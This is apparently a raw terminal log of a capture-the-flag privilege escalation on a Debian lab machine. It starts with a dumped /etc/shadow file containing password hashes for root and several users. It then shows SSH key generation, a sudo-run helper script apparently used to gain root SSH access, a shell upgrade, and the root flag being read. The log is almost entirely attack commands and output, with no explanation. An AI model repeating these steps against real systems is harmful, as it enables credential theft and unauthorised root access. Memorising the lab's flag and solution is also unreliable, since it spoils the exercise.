'root:$6$ePAhWE/j6QGfTWM3$Dn1vzbctoIv32MS89goS8Glk1h4W7ftIczomZ20dSGxrQq5ilIQyy2Y4wyQ4uw6F4O0IpgBfe0i8vE3/LQzLi/:20373:0:99999:7:::'$'\n''daemon:*:20166:0:99999:7:::'$'\n''bin:*:20166:0:99999:7:::'$'\n''sys:*:20166:0:99999:7:::'$'\n''sync:*:20166:0:99999:7:::'$'\n''games:*:20166:0:99999:7:::'$'\n''man:*:20166:0:99999:7:::'$'\n''lp:*:20166:0:99999:7:::'$'\n''mail:*:20166:0:99999:7:::'$'\n''news:*:20166:0:99999:7:::'$'\n''uucp:*:20166:0:99999:7:::'$'\n''proxy:*:20166:0:99999:7:::'$'\n''www-data:*:20166:0:99999:7:::'$'\n''backup:*:20166:0:99999:7:::'$'\n''list:*:20166:0:99999:7:::'$'\n''irc:*:20166:0:99999:7:::'$'\n''gnats:*:20166:0:99999:7:::'$'\n''nobody:*:20166:0:99999:7:::'$'\n''_apt:*:20166:0:99999:7:::'$'\n''systemd-timesync:*:20166:0:99999:7:::'$'\n''systemd-network:*:20166:0:99999:7:::'$'\n''systemd-resolve:*:20166:0:99999:7:::'$'\n''systemd-coredump:!!:20166::::::'$'\n''messagebus:*:20166:0:99999:7:::'$'\n''sshd:*:20166:0:99999:7:::'$'\n''welcome:$6$Tcl1PdHt0sKyxCmX$0BRc1xwfh2ZcKWqdX.d9QZpZfoUojWKv76BIILLM6ZbQZ9w9e8hg23fl1yFQ5heujThjKtejlddXoTmj1R2230:20190:0:99999:7:::'$'\n''aaa:$6$T0eyyrFo5fXjPVRB$w1WeM8bwmrlOoCI9Hl6ZK5OD5GufCEu.JTvq3uR7t.rKGdKZWlsbigec.RMLuXHxKMihPiIPYrBFwPrgPgpzR0:20373:0:99999:7:::'$'\n''bbb:$6$rwAiZOTGKLpC1Yo6$yeTo5f5THCRygCQcLqICyJh8UC.7eNRxFI0.Dmp995qjU/SuvJhFBHe5hD8DUj.CW/TlX5nrtYgZZox5KuOxS1:20373:0:99999:7:::'$'\n''ccc:$6$6.RbUGiv0omWNBhq$RuvFC1eOMv9L5.lX8iQtE3ACNhdUUAa/9bZnZnd01lntWURW2/Vzjl/xtQwoGOzyZ12vbBPV/IICzcTolwrwn1:20373:0:99999:7:::'$'\n': No such file or directory
ssh-keygen Generating public/private rsa key pair. Enter file inwhich to save the key (/home/ccc/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/ccc/.ssh/id_rsa Your public key has been saved in /home/ccc/.ssh/id_rsa.pub The key fingerprint is: SHA256:mG+KjI7tmE9gWXWhw0hg70wq3kRMgwGpstdRjhkOsyU ccc@Baby The key's randomart image is: +---[RSA 3072]----+ |o=++ . o. | |o.E B + | |. # X | |o X = oo | |+= = .o S | |=.+ . . | | o.. o | | * o . o | |++* o . | +----[SHA256]-----+ sudo /opt/ccc.sh ssh root@localhost Pseudo-terminal will not be allocated because stdin is not a terminal. Host key verification failed.
script -qc /bin/bash /dev/null ccc@Baby:~/.ssh$ sudo /opt/ccc.sh sudo /opt/ccc.sh ccc@Baby:~/.ssh$ ssh root@localhost ssh root@localhost The authenticity of host 'localhost (::1)' can't be established. ECDSA key fingerprint is SHA256:IV6iZTL6D//1Ojh0d8XoSMepPgjyUfV/FpQmf3q35Hg. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes yes Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts. Linux Baby 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Oct 12 03:42:24 2025 from 192.168.3.94 root@Baby:~# ls ls root.txt root@Baby:~# cat root.txt cat root.txt flag{root-7ed9295c3bdb1aaf2b427b64942b40fb} root@Baby:~#